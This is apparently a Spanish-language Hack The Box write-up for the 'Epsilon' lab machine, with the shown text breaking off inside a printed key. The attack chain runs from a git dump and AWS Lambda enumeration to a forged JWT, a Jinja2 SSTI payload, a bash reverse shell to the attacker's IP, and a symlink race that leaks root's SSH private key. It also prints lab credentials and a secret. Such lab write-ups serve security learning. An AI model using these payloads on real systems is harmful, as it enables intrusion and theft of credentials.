Inicio Epsilon HTB Write-up
Entrada
Cancelar

Epsilon HTB Write-up

Resumen

Saludos, en esta oportunidad vamos a resolver la máquina de Hack The Box llamada Epsilon, la cual tiene una dificultad media. Para lograr vulnerarla realizaremos lo siguiente:

  • Enumeración del sistema.
  • Obtención de repositorio git.
  • Enumeración de AWS.
  • Descubrimiento de funciones lambda del servidor.
  • Creación de un JWT.
  • Bypass del panel de login.
  • SSTI.
  • Abuso de symlink.

Reconocimiento y Enumeración

En primer lugar, se comprueba la correcta conexión en la VPN con la máquina utilizando ping:

1
2
3
4
ping -c 1 10.10.11.134

PING 10.10.11.134 (10.10.11.134) 56(84) bytes of data.
64 bytes from 10.10.11.134: icmp_seq=1 ttl=63 time=149 ms

Se observa que existe una correcta conexión con la máquina.

Para realizar un reconocimiento activo se utilizará la herramienta nmap, en búsqueda de puertos abiertos en todo el rango (65535) y aplicando el parámetro -sS el cual permite aumentar el rendimiento del escaneo, haciendo que las conexiones no se realicen totalmente (haciendo solo syn syn-ack):

1
sudo nmap -p- -sS -open --min-rate 5000 10.10.11.134 -oG Port

Al finalizar el escaneo, se pueden observar los puertos abiertos de la máquina víctima:

1
2
3
4
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
5000/tcp open  upnp

Realizamos un escaneo de los servicios expuestos utilizando nmap:

1
sudo nmap -sCV -p22,80,5000 10.10.11.134 -oN ServiceScan

Como resultado del escaneo tenemos:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)
|   256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
|_  256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
80/tcp   open  http    Apache httpd 2.4.41
| http-git: 
|   10.10.11.134:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: Updating Tracking API  # Please enter the commit message for...
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.41 (Ubuntu)
5000/tcp open  http    Werkzeug httpd 2.0.2 (Python 3.8.10)
|_http-title: Costume Shop
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Podemos observar 2 servidores http, utilizando la herramienta whatweb vamos a ver si podemos sacar un poco de información extra:

1
2
3
whatweb 10.10.11.134

http://10.10.11.134 [403 Forbidden] Apache[2.4.41], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.11.134], Title[403 Forbidden]
1
2
3
whatweb 10.10.11.134:5000

http://10.10.11.134:5000 [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Werkzeug/2.0.2 Python/3.8.10], IP[10.10.11.134], PasswordField[password], Python[3.8.10], Script, Title[Costume Shop], Werkzeug[2.0.2]

Para la primera web no podemos ver mucho y la segunda web está utilizando python, lo que es interesante para pensar en futuros ataques que podríamos intentar.

Vamos a revisar la web que está en el puerto 5000:

Vemos un panel de autenticación, sin embargo, por el momento no tenemos niguna credencial que nos pueda servir y las típicas no funcionan.

Explotación

Antes de intentar las injecciones vamos a revisar un archivo interesante que está en nuestra captura de nmap, el repositorio de git, para ello vamos a utilizar la herramienta git_dumper, disponible en github :

1
python3 git_dumper.py http://10.10.11.134/.git pagina

En este caso vamos a guardar toda la información en la carpeta pagina. Luego de esperar a que termine la ejecución de la herramienta vamos a ver que ha encontrado:

1
2
3
ls

server.py  track_api_CR_148.py

Tenemos dos scripts en python, vamos a revisarlos:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#!/usr/bin/python3

import jwt
from flask import *

app = Flask(__name__)
secret = '<secret_key>'

def verify_jwt(token,key):
	try:
		username=jwt.decode(token,key,algorithms=['HS256',])['username']
		if username:
			return True
		else:
			return False
	except:
		return False

@app.route("/", methods=["GET","POST"])
def index():
	if request.method=="POST":
		if request.form['username']=="admin" and request.form['password']=="admin":
			res = make_response()
			username=request.form['username']
			token=jwt.encode({"username":"admin"},secret,algorithm="HS256")
			res.set_cookie("auth",token)
			res.headers['location']='/home'
			return res,302
		else:
			return render_template('index.html')
	else:
		return render_template('index.html')

@app.route("/home")
def home():
	if verify_jwt(request.cookies.get('auth'),secret):
		return render_template('home.html')
	else:
		return redirect('/',code=302)

@app.route("/track",methods=["GET","POST"])
def track():
	if request.method=="POST":
		if verify_jwt(request.cookies.get('auth'),secret):
			return render_template('track.html',message=True)
		else:
			return redirect('/',code=302)
	else:
		return render_template('track.html')

@app.route('/order',methods=["GET","POST"])
def order():
	if verify_jwt(request.cookies.get('auth'),secret):
		if request.method=="POST":
			costume=request.form["costume"]
			message = '''
			Your order of "{}" has been placed successfully.
			'''.format(costume)
			tmpl=render_template_string(message,costume=costume)
			return render_template('order.html',message=tmpl)
		else:
			return render_template('order.html')
	else:
		return redirect('/',code=302)
app.run(debug='true')

El primer código podemos ver que corresponde al servidor, en este caso está utilizando Flask, lo cual es interesante pues podría ser vulnerable a SSTI. Luego, podemos observar las rutas de la página, las cuales verifican la existencia de un JWT (Json Web Token), podríamos contruir este JWT para utilizarlo para ingresar a la web, sin embargo, no disponemos del “secret”.

Vamos a revisar el segundo script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import io
import os
from zipfile import ZipFile
from boto3.session import Session


session = Session(
    aws_access_key_id='<aws_access_key_id>',
    aws_secret_access_key='<aws_secret_access_key>',
    region_name='us-east-1',
    endpoint_url='http://cloud.epsilon.htb')
aws_lambda = session.client('lambda')


def files_to_zip(path):
    for root, dirs, files in os.walk(path):
        for f in files:
            full_path = os.path.join(root, f)
            archive_name = full_path[len(path) + len(os.sep):]
            yield full_path, archive_name


def make_zip_file_bytes(path):
    buf = io.BytesIO()
    with ZipFile(buf, 'w') as z:
        for full_path, archive_name in files_to_zip(path=path):
            z.write(full_path, archive_name)
    return buf.getvalue()


def update_lambda(lambda_name, lambda_code_path):
    if not os.path.isdir(lambda_code_path):
        raise ValueError('Lambda directory does not exist: {0}'.format(lambda_code_path))
    aws_lambda.update_function_code(
        FunctionName=lambda_name,
        ZipFile=make_zip_file_bytes(path=lambda_code_path))

Observamos que está utilizando aws, el cual se está conectando a un endpoint llamado cloud.epsilon.htb, al final del código podemos observar la utilización de funciones lambda, las cuales según la página oficial de aws son “un servicio informático que permite ejecutar código sin aprovisionar ni administrar servidores.”, por lo tanto, podemos pensar que está ejecutando código por detrás, vamos a buscar alguna forma de encontrar esta función lambda. Para ello vamos a utilizar el servicio de aws-cli, vamos a descargarlo desde la página_oficial de AWS:

1
2
3
aws --version

aws-cli/2.11.0 Python/3.11.2 Linux/6.0.0-kali6-amd64 exe/x86_64.kali.2022 prompt/off

Luego, teniendo ya listo lo anterior, vamos a intentar conectarnos al endpoint que vimos anteriormente, el primer paso corresponde agregar esta dirección en el /etc/hosts para que pueda resolver correctamente a la IP:

1
2
3
4
5
6
127.0.0.1       localhost
127.0.1.1       kali
::1             localhost ip6-localhost ip6-loopback
ff02::1         ip6-allnodes
ff02::2         ip6-allrouters
10.10.11.134    epsilon.htb cloud.epsilon.htb

Con esto listo, necesitamos configurar nuestra sesión, para ello haremos lo siguiente:

1
2
aws configure
AWS Access Key ID [None]: 

Vemos que está pidiendo un AWS access key ID, la cual no disponemos, sin embargo, si volvemos al código en python podemos ver que se mencionan:

1
2
3
4
5
6
session = Session(
    aws_access_key_id='<aws_access_key_id>',
    aws_secret_access_key='<aws_secret_access_key>',
    region_name='us-east-1',
    endpoint_url='http://cloud.epsilon.htb')
aws_lambda = session.client('lambda')

Pero no están allí, aunque tenemos que recordar que estamos en un repositorio de git, puede darse el caso en que versiones anteriores del proyecto podamos encontrar información sobre esto, para ello hacemos lo siguiente:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
git log


commit c622771686bd74c16ece91193d29f85b5f9ffa91 (HEAD -> master)
Author: root <root@epsilon.htb>
Date:   Wed Nov 17 17:41:07 2021 +0000

    Fixed Typo

commit b10dd06d56ac760efbbb5d254ea43bf9beb56d2d
Author: root <root@epsilon.htb>
Date:   Wed Nov 17 10:02:59 2021 +0000

    Adding Costume Site

commit c51441640fd25e9fba42725147595b5918eba0f1
Author: root <root@epsilon.htb>
Date:   Wed Nov 17 10:00:58 2021 +0000

    Updatig Tracking API

commit 7cf92a7a09e523c1c667d13847c9ba22464412f3
Author: root <root@epsilon.htb>
Date:   Wed Nov 17 10:00:28 2021 +0000

    Adding Tracking API Module

Observamos todos los commit disponibles del proyecto, vemos uno interesante llamado Adding Tracking API Module, el cual fue antes que lo actualizaran asi que vamos a ver que encontramos:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
git show 7cf92a7a09e523c1c667d13847c9ba22464412f3

commit 7cf92a7a09e523c1c667d13847c9ba22464412f3
Author: root <root@epsilon.htb>
Date:   Wed Nov 17 10:00:28 2021 +0000

    Adding Tracking API Module

diff --git a/track_api_CR_148.py b/track_api_CR_148.py
new file mode 100644
index 0000000..fed7ab9
--- /dev/null
+++ b/track_api_CR_148.py
@@ -0,0 +1,36 @@
+import io
+import os
+from zipfile import ZipFile
+from boto3.session import Session
+
+
+session = Session(
+    aws_access_key_id='AQLA5M37BDN6FJP76TDC',
+    aws_secret_access_key='OsK0o/glWwcjk2U3vVEowkvq5t4EiIreB+WdFo1A',
+    region_name='us-east-1',
+    endpoint_url='http://cloud.epsilong.htb')
+aws_lambda = session.client('lambda')    
+

Vemos las key, por lo tanto, vamos a intentar utilizarlas para configurar la sesión e intentar conectarnos al endpoint para enumerar las funciones lambda:

1
2
3
4
5
6
aws configure

AWS Access Key ID [None]: AQLA5M37BDN6FJP76TDC
AWS Secret Access Key [None]: OsK0o/glWwcjk2U3vVEowkvq5t4EiIreB+WdFo1A
Default region name [None]: us-east-1
Default output format [None]: json

Tenemos listas las credenciales, vamos a intentar conectarnos al endpoint, si vemos el panel de ayuda:

1
2
3
4
5
6
GLOBAL OPTIONS
       --debug (boolean)

       Turn on debug logging.

       --endpoint-url (string)

Tenemos un parámetro para el endpoint, vamos a utilizarlo:

1
2
3
4
5
6
7
8
9
10
aws --endpoint-url=http://cloud.epsilon.htb

usage: aws [options] <command> <subcommand> [<subcommand> ...] [parameters]
To see help text, you can run:

  aws help
  aws <command> help
  aws <command> <subcommand> help

aws: error: the following arguments are required: command

Vemos que necesitamos ingresar un comando, para ello vamos a hacer caso y buscaremos en la sección de ayuda:

1
       o lambda

Vemos que hay un comando lambda, vamos a utilizarlo:

1
2
3
4
5
6
7
8
9
10
aws --endpoint-url=http://cloud.epsilon.htb lambda

usage: aws [options] <command> <subcommand> [<subcommand> ...] [parameters]
To see help text, you can run:

  aws help
  aws <command> help
  aws <command> <subcommand> help

aws: error: the following arguments are required: operation

Vamos a buscar formas de enumerar las funciones lambda en el panel de ayuda:

1
       o list-functions

Vemos un comando llamado list-functions, esto es lo que necesitamos para ver qué funciones lambda se están ejecutando:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
{
    "Functions": [
        {
            "FunctionName": "costume_shop_v1",
            "FunctionArn": "arn:aws:lambda:us-east-1:000000000000:function:costume_shop_v1",
            "Runtime": "python3.7",
            "Role": "arn:aws:iam::123456789012:role/service-role/dev",
            "Handler": "my-function.handler",
            "CodeSize": 478,
            "Description": "",
            "Timeout": 3,
            "LastModified": "2023-03-04T20:19:54.134+0000",
            "CodeSha256": "IoEBWYw6Ka2HfSTEAYEOSnERX7pq0IIVH5eHBBXEeSw=",
            "Version": "$LATEST",
            "VpcConfig": {},
            "TracingConfig": {
                "Mode": "PassThrough"
            },
            "RevisionId": "be8c779f-bcbd-44ee-abbd-905c32d7aece",
            "State": "Active",
            "LastUpdateStatus": "Successful",
            "PackageType": "Zip"
        }
    ]
}

Vemos que existe una función lambda llamada costume_shop_v1, como ya tenemos el nombre de la función lambda que se está aplicando vamos a intentar ver qué tiene dentro, para ello vamos a buscar en el panel de ayuda:

1
o get-function

Encontramos el comando get-function, vamos a utilizarlo:

1
2
3
4
5
6
7
8
9
10
ws --endpoint-url=http://cloud.epsilon.htb lambda get-function

usage: aws [options] <command> <subcommand> [<subcommand> ...] [parameters]
To see help text, you can run:

  aws help
  aws <command> help
  aws <command> <subcommand> help

aws: error: the following arguments are required: --function-name

Pero claro, tenemos que especificarle qué función queremos obtener asi que buscaremos en el panel de ayuda:

1
2
3
4
OPTIONS
       --function-name (string)
          The name of the Lambda function, version, or alias.
              Name formats

Vemos que existe –function-name, así que vamos a utilizar este parámetro para definir el nombre de la función:

1
aws --endpoint-url=http://cloud.epsilon.htb lambda get-function --function-name=costume_shop_v1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
{
    "Configuration": {
        "FunctionName": "costume_shop_v1",
        "FunctionArn": "arn:aws:lambda:us-east-1:000000000000:function:costume_shop_v1",
        "Runtime": "python3.7",
        "Role": "arn:aws:iam::123456789012:role/service-role/dev",
        "Handler": "my-function.handler",
        "CodeSize": 478,
        "Description": "",
        "Timeout": 3,
        "LastModified": "2023-03-04T20:19:54.134+0000",
        "CodeSha256": "IoEBWYw6Ka2HfSTEAYEOSnERX7pq0IIVH5eHBBXEeSw=",
        "Version": "$LATEST",
        "VpcConfig": {},
        "TracingConfig": {
            "Mode": "PassThrough"
        },
        "RevisionId": "be8c779f-bcbd-44ee-abbd-905c32d7aece",
        "State": "Active",
        "LastUpdateStatus": "Successful",
        "PackageType": "Zip"
    },
    "Code": {
        "Location": "http://cloud.epsilon.htb/2015-03-31/functions/costume_shop_v1/code"
    },
    "Tags": {}
}

Encontramos la localización de esta función, vamos a obtenerla:

1
wget http://cloud.epsilon.htb/2015-03-31/functions/costume_shop_v1/code

Luego, vemos el resultado:

1
2
3
file code

code: Zip archive data, at least v2.0 to extract, compression method=deflate

Tenemos un archivo zip, vamos a descomprimirlo:

1
2
3
unzip code
Archive:  code
  inflating: lambda_function.py

Veamos que contiene este script en python:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import json

secret='RrXCv`mrNe!K!4+5`wYq' #apigateway authorization for CR-124

'''Beta release for tracking'''
def lambda_handler(event, context):
    try:
        id=event['queryStringParameters']['order_id']
        if id:
            return {
               'statusCode': 200,
               'body': json.dumps(str(resp)) #dynamodb tracking for CR-342
            }
        else:
            return {
                'statusCode': 500,
                'body': json.dumps('Invalid Order ID')
            }
    except:
        return {
                'statusCode': 500,
                'body': json.dumps('Invalid Order ID')
            }

Aquí podemos ver la función que se está empleando, y vemos algo que necesitabamos anteriormente, tenemos el secret, con esto podemos creanos un JWT para poder logearnos en la web sin necesidad de ingresar la contraseña, por lo tanto, vamos a crear este token con python:

1
2
3
4
import jwt

secret='RrXCv`mrNe!K!4+5`wYq'
print(jwt.encode({"username":"admin"},secret,algorithm="HS256"))

Si lo ejecutamos:

1
2
3
python3 py.py

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.WFYEm2-bZZxe2qpoAtRPBaoNekx-oOwueA80zzb3Rc4

Vemos que hemos creado el token, vamos a intentar logearnos en la web, para ello cambiaremos nuestra cookie de sesión por el JWT:

Vamos a agregar un nuevo item:

Si nos fijamos en el server.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
def index():
	if request.method=="POST":
		if request.form['username']=="admin" and request.form['password']=="admin":
			res = make_response()
			username=request.form['username']
			token=jwt.encode({"username":"admin"},secret,algorithm="HS256")
			res.set_cookie("auth",token)
			res.headers['location']='/home'
			return res,302
		else:
			return render_template('index.html')
	else:
		return render_template('index.html')

Tenemos que el nombre de la cookie es auth, así que vamos a agregarle ese nombre y dentro de value ingresamos el JWT:

Con esto listo, vamos a intentar ingresar a /home, pues es donde se nos redirige:

Vemos que ha funcionado correctamente y estamos logeados como el usuario admin dentro de la web.

Vamos a inspeccionar la web para ver que encontramos:

Dentro de la sección de ordenes podemos este panel, vamos a hacer algunas pruebas:

Enviamos:

Vemos que se ha registrado nuestra orden de glasses, vamos a analizar esto por Burpsuite:

Vemos que existe un parámetro que se envía con el nombre del producto que queremos comprar, vamos a ver si podemos cambiarlo:

Vemos que nuetro imput se puede ver en la web, esto nos abre la posibilidad a lo escrito anteriormente, veremos si es vulnerable a SSTI, pues se está utilizando Flask, por lo tanto, podría ser vulnerable:

Efectivamente, es vulnerable a SSTI, si vamos al github de PayloadsAllTheThings encontramos bastante información sobre SSTI, como estamos trabajando con python utilizaremos jinja2 como en ocasiones anteriores, utilizaremos este (sin el backslash):

1
{\{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}

Vemos que tenemos RCE, vamos a ganar acceso al sistema, esto lo realizaremos como siempre. En primer lugar, tendremos el siguiente archivo llamado index.html:

1
2
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.17/1234 0>&1

El cual nos permitirá ganar acceso al sistema, vamos a compartir este archivo a través de un servidor http con python, y desde la máquina víctima haremos una petición a este archivo y luego lo ejecutaremos para ganar acceso mediante nuestro netcat en escucha, vamos al Burpsuite:

Si enviamos la petición y vemos nuestro servidor de python:

1
2
3
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.134 - - [04/Mar/2023 23:22:08] "GET / HTTP/1.1" 200 -

Vemos una petición, si vamos a nuestro listener:

1
2
3
4
5
6
7
8
nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.17] from (UNKNOWN) [10.10.11.134] 57430
bash: cannot set terminal process group (948): Inappropriate ioctl for device
bash: no job control in this shell
tom@epsilon:/var/www/app$ whoami
whoami
tom

Hemos ganado acceso a la máquina, vamos a buscar la flag de usuario:

1
2
3
tom@epsilon:~$ cat user.txt
cat user.txt
68dbffa66652ccd6a97

¡Bien!, tenemos la flag, ahora debemos escalar privilegios.

Escalada de privilegios

El primer paso será arreglar la terminal, para ello vamos a ejecutar los siguiente comandos:

  • script /dev/null -c bash
  • control + z
  • stty ray -echo; fg
  • reset xterm
  • export TERM=xterm
  • export SHELL=bash
  • stty rows X columns Y (dependiendo de tu stty size)

De esta forma obtenemos una tty más cómoda.

Bien, vamos a ver los privilegios que tenemos dentro de la máquina:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
tom@epsilon:/home$ sudo -l
[sudo] password for tom: 
tom@epsilon:/home$ find / -perm -4000 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/bin/mount
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/passwd
/usr/bin/fusermount
/usr/bin/chsh
/usr/bin/at
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/su

No tenemos la contraseña del usuario asi que no podemos ver los privilegios, no encontramos nada extraño en los permisos SUID, vamos a ignorar el pkexec que está allí.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )

No vemos a tareas cron por aquí.

Vamos a utilizar una herramienta llamada pspy que nos ayudará a encontrar procesos que se estén ejecutando por parte de root en el sistema, vamos a clonar el repositorio y compilarlo:

1
2
3
4
sudo /usr/local/go/bin/go build -ldflags "-s -w" .

go: downloading github.com/spf13/cobra v1.4.0
go: downloading golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a

Luego, abrimos un servidor http con python y desde la máquina víctima descargarmos el archivo:

1
2
3
4
5
6
7
8
9
10
11
12
13
tom@epsilon:/tmp$ wget http://10.10.14.17/pspy
--2023-03-05 04:48:17--  http://10.10.14.17/pspy
Connecting to 10.10.14.17:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3252224 (3.1M) [application/octet-stream]
Saving to: ‘pspy’

pspy                100%[===================>]   3.10M  1.33MB/s    in 2.3s    

2023-03-05 04:48:19 (1.33 MB/s) - ‘pspy’ saved [3252224/3252224]

tom@epsilon:/tmp$ ls
pspy

Le damos permisos se ejecución y lo ejecutamos:

1
tom@epsilon:/tmp$ chmod +x pspy
1
2
3
tom@epsilon:/tmp$ ./pspy
./pspy: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.32' not found (required by ./pspy)
./pspy: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./pspy)

Sin embargo, no nos ha funcionado, vamos a solucionarlo buscando los binarios en el github de la herramienta:

Vamos a descargar el pspy64 y lo vamos a compartir de la misma forma con el servidor http:

1
2
3
4
5
6
7
8
9
10
11
12
13
tom@epsilon:/tmp$ wget http://10.10.14.17/pspy64
--2023-03-05 04:58:39--  http://10.10.14.17/pspy64
Connecting to 10.10.14.17:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: ‘pspy64’

pspy64              100%[===================>]   2.96M  1.28MB/s    in 2.3s    

2023-03-05 04:58:42 (1.28 MB/s) - ‘pspy64’ saved [3104768/3104768]

tom@epsilon:/tmp$ chmod +x pspy64
tom@epsilon:/tmp$ ./pspy64

Y ahora:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
spy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...

Mientras se ejecuta vemos algo interesante:

1
2
3
4
5
2023/03/05 04:59:01 CMD: UID=0     PID=10156  | /bin/bash /usr/bin/backup.sh 
2023/03/05 04:59:01 CMD: UID=0     PID=10157  | /usr/bin/tar -cvf /opt/backups/606036422.tar /var/www/app/ 
2023/03/05 04:59:01 CMD: UID=0     PID=10159  | /bin/bash /usr/bin/backup.sh 
2023/03/05 04:59:01 CMD: UID=0     PID=10158  | /bin/bash /usr/bin/backup.sh 
2023/03/05 04:59:01 CMD: UID=0     PID=10160  | /bin/bash /usr/bin/backup.sh 

Vemos que root está ejecutando el archivo backup.sh, vamos a ver que es:

1
2
3
4
5
6
7
8
9
#!/bin/bash
file=`date +%N`
/usr/bin/rm -rf /opt/backups/*
/usr/bin/tar -cvf "/opt/backups/$file.tar" /var/www/app/
sha1sum "/opt/backups/$file.tar" | cut -d ' ' -f1 > /opt/backups/checksum
sleep 5
check_file=`date +%N`
/usr/bin/tar -chvf "/var/backups/web_backups/${check_file}.tar" /opt/backups/checksum "/opt/backups/$file.tar"
/usr/bin/rm -rf /opt/backups/*

Vemos que en primer lugar borra todo lo existente en /opt/backups, luego de esto crea un archivo .tar que tendrá dentro todo lo que está en /var/www/app, luego envía el hash de este archivo tar a la ruta /opt/backups/checksum. Podemos ver que finalmente utiliza tar para comprimir el archivo con el checksum creado junto con el mismo archivo tar inicial, lo importante aquí es una flag que está utilizando la cual es -h, esta permite hacer un seguimiento del los enlaces simbólicos, lo que nos va a permitir hacer lo siguiente.

Como podemos eliminar y crear el archivo checksum, lo que haremos será que mientras que el código esté en el sleep 5, borraremos el archivo checksum y lo reemplazaremos por otro, el cual tendrá un symlink hacia la id_rsa de root, dentro del directorio /root/.ssh, de esta forma vamos a tener un nuevo archivo tar final modificado, el cual al descomprimirlo, entregará los datos comprimidos de /var/www/app/ y el checksum, sin embargo, el checksum ya no será el sha1 del código original, sino que será la id_rsa de root pues la flag -h realiza el seguimiento al symlink.

1
2
3
4
5
6
7
8
9
10
#!/bin/bash

while true; do
        if [ -e /opt/backups/checksum ]; then
                rm /opt/backups/checksum
                ln -s -f /root/.ssh/id_rsa /opt/backups/checksum
                echo "finalizado"
                break 
        fi
done

Para ello este script en bash borrará cualquier checksum que llegue y lo reemplazará por otro archivo llamado checksum que tendrá un symlink hacia la id_rsa de root. Vamos a ejecutarlo:

1
2
3
4
5
6
7
8
tom@epsilon:/tmp$ ./test.sh
rm: remove write-protected regular file '/opt/backups/checksum'? y
finalizado
tom@epsilon:/tmp$ cd /var/backups/web_backups
tom@epsilon:/var/backups/web_backups$ ls
224789875.tar  259999126.tar
tom@epsilon:/var/backups/web_backups$ cp 259999126.tar /tmp
tom@epsilon:/var/backups/web_backups$ cd /tmp

Copiamos el último tar creado y lo llevamos a tmp para descomprimirlo:

1
tom@epsilon:/tmp$ tar -xf 259999126.tar

Si vemos el archivo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
tom@epsilon:/tmp$ cd opt
tom@epsilon:/tmp/opt$ ls
backups
tom@epsilon:/tmp/opt$ cd backups/
tom@epsilon:/tmp/opt/backups$ ls
245036605.tar  checksum
tom@epsilon:/tmp/opt/backups$ cat checksum 
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEA1w26V2ovmMpeSCDauNqlsPHLtTP8dI8HuQ4yGY3joZ9zT1NoeIdF
16L/79L3nSFwAXdmUtrCIZuBNjXmRBMzp6euQjUPB/65yK9w8pieXewbWZ6lX1l6wHNygr
QFacJOu4ju+vXI/BVB43mvqXXfgUQqmkY62gmImf4xhP4RWwHCOSU8nDJv2s2+isMeYIXE
SB8l1wWP9EiPo0NWlJ8WPe2nziSB68vZjQS5yxLRtQvkSvpHBqW90frHWlpG1eXVK8S9B0
1PuEoxQjS0fNASZ2zhG8TJ1XAamxT3YuOhX2K6ssH36WVYSLOF/2KDlZsbJyxwG0V8QkgF
u0DPZ0V8ckuh0o+Lm64PFXlSyOFcb/1SU/wwid4i9aYzhNOQOxDSPh2vmXxPDkB0/dLAO6
wBlOakYszruVLMkngP89QOKLIGasmzIU816KKufUdLSFczig96aVRxeFcVAHgi1ry1O7Tr
oCIJewhvsh8I/kemAhNHjwt3imGulUmlIw/s1cpdAAAFiAR4Z9EEeGfRAAAAB3NzaC1yc2
EAAAGBANcNuldqL5jKXkgg2rjapbDxy7Uz/HSPB7kOMhmN46Gfc09TaHiHRdei/+/S950h
cAF3ZlLawiGbgTY15kQTM6enrkI1Dwf+ucivcPKYnl3sG1mepV9ZesBzcoK0BWnCTruI7v
r1yPwVQeN5r6l134FEKppGOtoJiJn+MYT+EVsBwjklPJwyb9rNvorDHmCFxEgfJdcFj/RI
j6NDVpSfFj3tp84kgevL2Y0EucsS0bUL5Er6RwalvdH6x1paRtXl1SvEvQdNT7hKMUI0tH
zQEmds4RvEydVwGpsU92LjoV9iurLB9+llWEizhf9ig5WbGycscBtFfEJIBbtAz2dFfHJL
odKPi5uuDxV5UsjhXG/9UlP8MIneIvWmM4TTkDsQ0j4dr5l8Tw5AdP3SwDusAZTmpGLM67
lSzJJ4D/PUDiiyBmrJsyFPNeiirn1HS0hXM4oPemlUcXhXFQB4Ita8tTu066AiCXsIb7If
CP5HpgITR48Ld4phrpVJpSMP7NXKXQAAAAMBAAEAAAGBAMULlg7cg8oaurKaL+6qoKD1nD
Jm9M2T9H6STENv5//CSvSHNzUgtVT0zE9hXXKDHc6qKX6HZNNIWedjEZ6UfYMDuD5/wUsR
EgeZAQO35XuniBPgsiQgp8HIxkaOTltuJ5fbyyT1qfeYPqwAZnz+PRGDdQmwieIYVCrNZ3
